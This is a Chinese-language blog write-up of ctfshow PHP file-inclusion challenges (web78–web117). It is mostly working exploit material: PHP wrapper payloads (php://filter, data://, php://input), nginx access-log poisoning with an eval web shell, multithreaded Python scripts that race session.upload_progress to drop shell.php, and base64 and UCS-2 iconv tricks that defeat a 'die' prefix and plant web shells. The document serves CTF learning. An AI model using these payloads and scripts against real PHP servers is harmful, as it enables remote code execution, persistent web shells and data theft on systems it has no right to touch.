【ctfshow】web篇-文件包含 wp

前言

记录web的题目wp,慢慢变强,铸剑。

文件包含

web78

1
2
3
4
5
6
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

开始文件包含的题型,无过滤

首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。

而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。

payload如下

1
file=php://filter/convert.base64-encode/resource=flag.php

在base64解码

web79

这次多了个替换,将php替换成???,但是不碍事,用data伪协议

payload

1
?file=data://text/plain,<?pHp system('tac flag.?hp');?>

web80

这题换input伪协议,他的php可以换成大小写混用

payload

1
2
3
4
/?file=Php://input


<?php echo `ls`?>

image-20210815210900858

web81

1
2
3
4
5
6
7
8
9
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

这次把协议都禁了,我看到他是nginx的容器,直接包含日志拿shell

payload

1
2
3
?file=/var/log/nginx/access.log&1=echo `tac fl0g.php`;

User-Agent: <?php eval($_GET[1]);?>

image-20210815211531674

写个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/8/15
# blog: gylq.gitee.io

import requests
import time

url = "http://78c93547-1796-472d-b2e0-fe2f5e8413a5.challenge.ctf.show:8080/"+"?file=/var/log/nginx/access.log"

headers = {
'User-Agent': '<?php eval($_REQUEST[1]);?>'
}

data = {
'1':'system("cat fl0g.php");'
}

res = requests.get(url=url, headers=headers)
result = requests.get(url=url, params=data)
print(result.text)

image-20210815213059198

web82

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

首先我们需要了解一些基础知识

1
2
3
4
5
6
1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"

enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;

name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

prefix+name将表示为session中的键名

由于上传进度可通过PHP_SESSION_UPLOAD_PROGRESS来控制,所以就意味着可以控制存储在session当中的内容

利用session.upload_progress进行文件包含利用

可以发现,存在一个文件包含漏洞,但是找不到一个可以包含的恶意文件。其实,我们可以利用session.upload_progress将恶意语句写入session文件,从而包含session文件。前提需要知道session文件的存放位置。

分析

问题一

代码里没有session_start(),如何创建session文件呢。

解答一

其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

问题二

但是问题来了,默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,

如何进行rce呢?

解答二

此时我们可以利用竞争,在session文件内容清空前进行包含利用。

写个py跑脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# # -- coding:UTF-8 --
# # Author:孤桜懶契
# # Date:2021/8/16
# # blog: gylq.gitee.io
import io
import requests
import threading


url = 'http://88e0abdd-53f8-4706-9b44-9b8810b5697c.challenge.ctf.show:8080/'
sessionid = "gylq"
payload = "<?php file_put_contents('shell.php','<?php eval($_REQUEST[1]);?>');?>"


def read(session):
while event.isSet():
url_include=url+'?file=/tmp/sess_'+sessionid
res = requests.post(url_include)
if sessionid in res.text:
print(session.post(url+"shell.php?1=system('cat f*.*');").text)
event.clear()
else:
print('[*]retry')


def write(session):
while True:
data = {
'PHP_SESSION_UPLOAD_PROGRESS': payload+sessionid
}
cookies = {
'PHPSESSID': sessionid
}
files = {
'file': ('gylq.txt',io.BytesIO(b'success'))
}
res = session.post(url=url,data=data,cookies=cookies,files=files)


if __name__ == '__main__':

event=threading.Event()
event.set()
with requests.session() as session:
for i in range(30): # 30是比较快的,关线程也很慢,所以建议为1一样可行,如果一直未出结果,可以调高线程
threading.Thread(target=write,args=(session,)).start()
for i in range(30): # 30是比较快的,关线程也很慢,所以建议为1一样可行,如果一直未出结果,可以调高线程
threading.Thread(target=read, args=(session,)).start()

image-20210816140059172

web83

多了session销毁,但是不影响,继续上一个脚本撸

web84

多了个删除rm -rf /tmp/*,但是不影响

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# # -- coding:UTF-8 --
# # Author:孤桜懶契
# # Date:2021/8/16
# # blog: gylq.gitee.io
import io
import requests
import threading


url = 'http://ace68431-996e-4147-a9c7-f59ffd12d3c8.challenge.ctf.show:8080/'
sessionid = "gylq"
payload = "<?php file_put_contents('shell.php','<?php eval($_REQUEST[1]);?>');?>"


def read(session):
while True:
url_include=url+'?file=/tmp/sess_'+sessionid
res = requests.post(url_include)
if sessionid in res.text:
print(session.post(url+"shell.php?1=system('cat f*.*');").text)
event.clear()
else:
print('[*]retry')


def write(session):
while True:
data = {
'PHP_SESSION_UPLOAD_PROGRESS': payload+sessionid
}
cookies = {
'PHPSESSID': sessionid
}
files = {
'file': ('gylq.txt',io.BytesIO(b'success'))
}
res = session.post(url=url,data=data,cookies=cookies,files=files)


if __name__ == '__main__':

event=threading.Event()
event.set()
with requests.session() as session:
for i in range(30): # 30是比较快的,关线程也很慢,所以建议为1一样可行,如果一直未出结果,可以调高线程
threading.Thread(target=write,args=(session,)).start()
for i in range(30): # 30是比较快的,关线程也很慢,所以建议为1一样可行,如果一直未出结果,可以调高线程
threading.Thread(target=read, args=(session,)).start()

web85

这次加了个判断/tmp/sess_gylq中是否包含<否则就报错,但是我们线程足够高,条件竞争可以强行绕过,继续跑

web86

继续上个脚本跑

web87

1
2
3
4
5
6
7
8
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

这题换成了file_put_contents了

我们来了解一些基础知识

php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:

readfile("php://filter/read=convert.base64-encode/resource=php://input");

image-20210816191640247

使用编码不光可以帮助我们获取文件,也可以帮我们去除一些“不必要的麻烦”。

1
2
3
$filename=$_GET['filename'];
$content =$_POST['content'];
file_put_contents(urldecode($filename),"<?php die();".$content);

分析了下,$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。那么这种情况下,如何绕过这个“死亡exit”?

幸运的是,这里$filename是可以控制协议的,我们可以使用php://filter协议来解决这个问题使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除“死亡exit”。

众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

一个正常的base64_decode可以理解为

1
2
3
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

所以,当$content被加上了<?php exit;?>,我们就可以使用php://filter/write=convert.base64-decode对其解码,在解码的过程中字符<、?、;、>、空格等字符不符合base64编码的字符范围将被忽略,所以最终字符仅有”phpdie”六个字符

“phpdie”一共六个字符因为base64算法解码时是4个byte一组,所以给他增加2个‘a’一共8个字符,这样,“phpdieaa”才能被正常解码,则后面我们传入的webshell的base64编码内容也能被正常解码

GET传入?filename=php://filter/convert.base64-decode/resource=simple.php

再post传入content=aaPHBocCBldmFsKCRfUkVRVUVTVFsxXSk7Pz4=

生成如下图所示

image-20210816192627808

由于这题源码过滤了php,但是他又写了个urldecode,所以我们可以通过双重url解密来bypass

这回我们写一个shell.php

payload

1
2
3
?file=php://filter/convert.base64-decode/resource=shell.php(要两次url编码)

content=aaPD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pPz4=

image-20210816193031047

这样就可以绕过执行webshell了

image-20210816193058121

了解原理了,也知道如何手工,再写个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# # -- coding:UTF-8 --
# # Author:孤桜懶契
# # Date:2021/8/16
# # blog: gylq.gitee.io

import requests

url = 'http://f2944b00-e1d4-4739-b83d-55854d7d3714.challenge.ctf.show:8080/'

url_encode='%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2573%2568%2565%256c%256c%252e%2570%2568%2570'

get_url = url + '?file=' + url_encode
data= {
'content':'aaPD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg=='
}
res = requests.post(get_url,data=data)

cmd_url = url+'shell.php'
data= {
'cmd':'system("cat fl0g.php");'
}
res = requests.post(cmd_url,data=data)
if res.status_code == 200:
print("[*]getshell in shell.php")
print(res.text)

image-20210816194218880

web88

分析源码,发现data没过滤,直接伪协议,base64编码shell,payload

1
http://80accf7c-3e21-4c26-97c4-4a29c404934c.challenge.ctf.show:8080/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZiouKicpPz4

web116

通过下载视频,然后010editor可以看到里面有张图,提取出来发现源码是一个文件包含

image-20210816210245945

虽然过滤了很多,但是file_get_contents是可以直接获取源码的。

payload

image-20210816201546111

web117

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

还是绕死亡die,这回禁了base64和rot13,可以换其他的方法

convert.iconv.: 一种过滤器,和使用iconv()函数处理流数据有等同作用

iconv ( string $in_charset , string $out_charset , string $str ):将字符串$strin_charset编码转换到$out_charset
这里引入ucs-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上

查看编码的传送门

1
2
3
4
5
6
7
$result = iconv("UCS-2LE", "UCS-2BE", '<?php eval($_REQUEST[1])?>');
echo "第一次反转".$result;
echo "第二次反转".iconv("UCS-2LE", "UCS-2BE", $result);

输出结果(注意payload得是偶数)
第一次反转?<hp pvela$(R_QEEUTS1[)]>?
第二次反转<?php eval($_REQUEST[1])?>

可以看到,经过两次反转之后代码又组装回来,思路就是用经过一次反转后的webshell和死亡代码<?php die();?>一起组合之后,经过第二次反转我们的webshell就恢复正常了,而死亡代码会被反转打乱不能执行

exp修改一下之前的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# # -- coding:UTF-8 --
# # Author:孤桜懶契
# # Date:2021/8/16
# # blog: gylq.gitee.io

import requests

url = 'http://387089aa-8506-46c5-a270-0b9298f73b2d.challenge.ctf.show:8080/'
payload_get='php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php'

get_url = url + '?file=' + payload_get

data= {
'contents':'?<hp pvela$(R_QEEUTS1[)]>?'
}
res = requests.post(get_url,data=data)

cmd_url = url+'shell.php'
data= {
'1':'system("cat flag.php");'
}
res = requests.post(cmd_url,data=data)
if res.status_code == 200:
print("[*]getshell in shell.php")
print(res.text)

本文标题:【ctfshow】web篇-文件包含 wp

文章作者:孤桜懶契

发布时间:2021年08月14日 - 15:57:56

最后更新:2022年05月20日 - 11:47:45

原始链接:https://gylq.gitee.io/posts/98.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------